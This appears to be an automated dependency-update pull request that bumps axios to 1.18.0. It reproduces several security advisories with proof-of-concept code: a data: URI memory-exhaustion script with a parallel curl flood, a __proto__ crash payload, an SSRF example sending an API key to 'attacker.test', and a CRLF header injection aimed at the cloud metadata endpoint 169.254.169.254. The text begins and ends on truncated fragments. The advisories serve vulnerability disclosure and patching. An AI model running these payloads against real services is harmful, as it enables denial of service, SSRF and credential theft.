This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	`transformResponse`	`mergeConfig.js:49` (defaultToConfig2)	`mergeConfig.js`	Credential theft, response replaced with `true`
axios_30	`proxy`	`http.js:670` (direct property access)	`http.js`	Full MITM, traffic interception
axios_31 (this)	`parseReviver`	`defaults/index.js:124` (this.parseReviver)	`defaults/index.js`	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

**Different polluted properties

✂ Note
PR body was truncated to here.

renovate · 2025-09-14T00:11:37Z

ℹ️ Note
This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.7.7` → `1.18.0`

Axios is vulnerable to DoS attack through lack of data size check

More information

Details

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

constfullPath=buildFullPath(config.baseURL,config.url,config.allowAbsoluteUrls);constparsed=newURL(fullPath,platform.hasBrowserEnv ? platform.origin : undefined);constprotocol=parsed.protocol||supportedProtocols[0];if(protocol==='data:'){letconvertedData;if(method!=='GET'){returnsettle(resolve,reject,{status: 405, ... });}convertedData=fromDataURI(config.url,responseType==='blob',{Blob: config.env&&config.env.Blob});returnsettle(resolve,reject,{data: convertedData,status: 200, ... });}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

exportdefaultfunctionfromDataURI(uri,asBlob,options){
...
if(protocol==='data'){uri=protocol.length ? uri.slice(protocol.length+1) : uri;constmatch=DATA_URL_PATTERN.exec(uri);
...
constbody=match[3];constbuffer=Buffer.from(decodeURIComponent(body),isBase64 ? 'base64' : 'utf8');if(asBlob){returnnew_Blob([buffer],{type: mime});}returnbuffer;}thrownewAxiosError('Unsupported protocol '+protocol, ...);}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

constaxios=require('axios');asyncfunctionmain(){// this example decodes ~120 MBconstbase64Size=160_000_000;// 120 MB after decodingconstbase64='A'.repeat(base64Size);consturi='data:application/octet-stream;base64,'+base64;console.log('Generating URI with base64 length:',base64.length);constresponse=awaitaxios.get(uri,{responseType: 'arraybuffer'});console.log('Received bytes:',response.data.length);}main().catch(err=>{console.error('Error:',err.message);});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

importexpressfrom"express";importmorganfrom"morgan";importaxiosfrom"axios";importhttpfrom"node:http";importhttpsfrom"node:https";import{PassThrough}from"node:stream";constkeepAlive=true;consthttpAgent=newhttp.Agent({ keepAlive,maxSockets: 100});consthttpsAgent=newhttps.Agent({ keepAlive,maxSockets: 100});constaxiosClient=axios.create({timeout: 10000,maxRedirects: 5,
httpAgent, httpsAgent,headers: {"User-Agent": "axios-poc-link-preview/0.1 (+node)"},validateStatus: c=>c>=200&&c<400});constapp=express();constPORT=Number(process.env.PORT||8081);constBODY_LIMIT=process.env.MAX_CLIENT_BODY||"50mb";app.use(express.json({limit: BODY_LIMIT}));app.use(morgan("combined"));app.get("/healthz",(req,res)=>res.send("ok"));/** * POST /preview { "url": "<http|https|data URL>" } * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). */app.post("/preview",async(req,res)=>{consturl=req.body?.url;if(!url)returnres.status(400).json({error: "missing url"});letu;try{u=newURL(String(url));}catch{returnres.status(400).json({error: "invalid url"});}// Developer allows using data:// in the allowlistconstallowed=newSet(["http:","https:","data:"]);if(!allowed.has(u.protocol))returnres.status(400).json({error: "unsupported scheme"});constcontroller=newAbortController();constonClose=()=>controller.abort();res.on("close",onClose);constbefore=process.memoryUsage().heapUsed;try{constr=awaitaxiosClient.get(u.toString(),{responseType: "stream",maxContentLength: 8*1024,// Axios will ignore this for data:maxBodyLength: 8*1024,// Axios will ignore this for data:signal: controller.signal});// stream only the first 64KB backconstcap=64*1024;letsent=0;constlimiter=newPassThrough();r.data.on("data",(chunk)=>{if(sent+chunk.length>cap){limiter.end();r.data.destroy();}else{sent+=chunk.length;limiter.write(chunk);}});r.data.on("end",()=>limiter.end());r.data.on("error",(e)=>limiter.destroy(e));constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));limiter.pipe(res);}catch(err){constafter=process.memoryUsage().heapUsed;res.set("x-heap-increase-mb",((after-before)/1024/1024).toFixed(2));res.status(502).json({error: String(err?.message||err)});}finally{res.off("close",onClose);}});app.listen(PORT,()=>{console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2}),functioncomputeConfigValue(prop){constmerge=mergeMap[prop]||mergeDeepProperties;constconfigValue=merge(config1[prop],config2[prop],prop);(utils.isUndefined(configValue)&&merge!==mergeDirectKeys)||(config[prop]=configValue);});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

importaxiosfrom"axios";constmaliciousConfig=JSON.parse('{"__proto__": {"x": 1}}');awaitaxios.get("https://httpbin.org/get",maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

More information

Details

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

importaxiosfrom"axios";constinternalAPIClient=axios.create({baseURL: "http://example.test/api/v1/users/",headers: {"X-API-KEY": "1234567890",},});// const userId = "123";constuserId="http://attacker.test/";awaitinternalAPIClient.get(userId);// SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

Create a script (e.g., main.js):

importaxiosfrom"axios";constclient=axios.create({baseURL: "http://localhost:10001/"});constresponse=awaitclient.get("http://localhost:10002/");console.log(response.data);

Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target']= \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developerawaitaxios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1Host: analytics.internalx-amz-target: dummyPUT /latest/api/token HTTP/1.1Host: 169.254.169.254X-aws-ec2-metadata-token-ttl-seconds: 21600GET /ignore HTTP/1.1...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.jsutils.forEach(requestHeaders,functionsetRequestHeader(val,key){if(/[\r\n]/.test(val)){thrownewError('Security: Header value contains invalid characters');}// ... proceed to set header});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

importhttpfrom"http";importaxiosfrom"axios";constproxyPort=5300;http.createServer((req,res)=>{console.log("[PROXY] Got:",req.method,req.url,"Host:",req.headers.host);res.writeHead(200,{"Content-Type": "text/plain"});res.end("proxied");}).listen(proxyPort,()=>console.log("Proxy",proxyPort));process.env.HTTP_PROXY=`http://127.0.0.1:${proxyPort}`;process.env.NO_PROXY="localhost,127.0.0.1,::1";asyncfunctiontest(url){try{awaitaxios.get(url,{timeout: 2000});}catch{}}setTimeout(async()=>{console.log("\n[*] Testing http://localhost.:8080/");awaittest("http://localhost.:8080/");// goes through proxyconsole.log("\n[*] Testing http://[::1]:8080/");awaittest("http://[::1]:8080/");// goes through proxy},500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Header Injection via Prototype Pollution

More information

Details

Summary

A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.

The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.

Prerequisites:

A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).

Details

The vulnerability is in lib/adapters/http.js, in the data serialization pipeline:

// lib/adapters/http.js }elseif(utils.isFormData(data)&&utils.isFunction(data.getHeaders)){headers.set(data.getHeaders());// ...}

Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:

1. utils.isFormData(data) — lib/utils.js

constisFormData=(thing)=>{letkind;returnthing&&((typeofFormData==='function'&&thinginstanceofFormData)||(isFunction(thing.append)&&((kind=kindOf(thing))==='formdata'||(kind==='object'&&isFunction(thing.toString)&&thing.toString()==='[object FormData]'))))}

2. utils.isFunction(data.getHeaders) — Duck-type for form-data npm package

// Returns true if Object.prototype.getHeaders is a functionutils.isFunction(data.getHeaders)

PoC

// Simulate Prototype PollutionObject.prototype[Symbol.toStringTag]='FormData';Object.prototype.append=()=>{};Object.prototype.getHeaders=()=>{constheaders=Object.create(null);(....Introduceherealltheheadersyouwant....)returnheaders;};Object.prototype.pipe=function(d){if(d&&d.end)d.end();returnd;};Object.prototype.on=function(){returnthis;};Object.prototype.once=function(){returnthis;};// Legitimate application codeconstresponse=awaitaxios.post('https://internal-api.company.com/admin/delete',{userId: 42},{headers: {'Authorization': 'Bearer VALID_USER_TOKEN'}});

Impact

Authentication Bypass (CVSS: C:H)
Session Fixation (CVSS: I:H)
Privilege Escalation (CVSS: C:H, I:H)
IP Spoofing / WAF Bypass (CVSS: I:H)

Note on Scope: There is an argument to promote this from S:U to S:C (Scope: Changed), which would raise the score to 10.0. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (Authorization, X-Role, X-User-ID, X-Tenant-ID) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.

Recommended Fix

Add an explicit own-property check in lib/adapters/http.js:

- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {- headers.set(data.getHeaders());+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {+ headers.set(data.getHeaders());

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component:lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File:lib/helpers/AxiosURLSearchParams.js, lines 13-26

functionencode(str){constcharMap={'!': '%21',// literal → encoded (SAFE direction)"'": '%27',// literal → encoded (SAFE direction)'(': '%28',// literal → encoded (SAFE direction)')': '%29',// literal → encoded (SAFE direction)'~': '%7E',// literal → encoded (SAFE direction)'%20': '+',// standard transformation (SAFE)'%00': '\x00',// LINE 21: encoded → raw null byte (UNSAFE direction!)};returnencodeURIComponent(str).replace(/[!'()~]|%20|%00/g,functionreplacer(match){returncharMap[match];});}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams'sconst_encode=(options&&options.encode)||encode;// buildURL's encode// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParamsnewAxiosURLSearchParams(params,_options).toString(_encode);// external encoder used// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT usedconst_encode=encoder ? function(value){returnencoder.call(this,value,encode);} : encode;// ^^^^^^// internal encode passed as 2nd arg but only used if// the external encoder explicitly delegates to it

Proof of Concept

importAxiosURLSearchParamsfrom'./lib/helpers/AxiosURLSearchParams.js';importbuildURLfrom'./lib/helpers/buildURL.js';// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)constparams=newAxiosURLSearchParams({file: 'test\x00.txt'});constresult=params.toString();// NO encoder → uses internal encode with charMapconsole.log('Direct toString():',JSON.stringify(result));// Output: "file=test\u0000.txt" (contains raw null byte)console.log('Hex:',Buffer.from(result).toString('hex'));// Output: 66696c653d74657374002e747874 (00 = null byte)// Test 2: Via buildURL (NOT vulnerable — standard axios flow)consturl=buildURL('http://example.com/api',{file: 'test\x00.txt'});console.log('Via buildURL:',url);// Output: http://example.com/api?file=test%00.txt (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874
Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

functionencode(str){constcharMap={'!': '%21',"'": '%27','(': '%28',')': '%29','~': '%7E','%20': '+',// REMOVED: '%00': '\x00'};returnencodeURIComponent(str).replace(/[!'()~]|%20/g,functionreplacer(match){// ^^^^ removed |%00returncharMap[match];});}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: HTTP adapter streamed responses bypass maxContentLength

More information

Details

Summary

When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.

Details

In lib/adapters/http.js:

786-789: for responseType === 'stream', Axios immediately settles with the stream.
797-810: maxContentLength enforcement exists only in the non-stream buffering branch.

So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.

PoC

Environment:

Axios main at commit f7a4ee2
Node v24.2.0

Steps:

Start an HTTP server that returns a 2 MiB response body.
Call Axios with:
- adapter: 'http'
- responseType: 'stream'
- maxContentLength: 1024
Read the returned stream fully.

Observed:

Success; full 2097152 bytes readable.

Control check:

Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.

Impact

Type: DoS / unbounded response processing.
Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`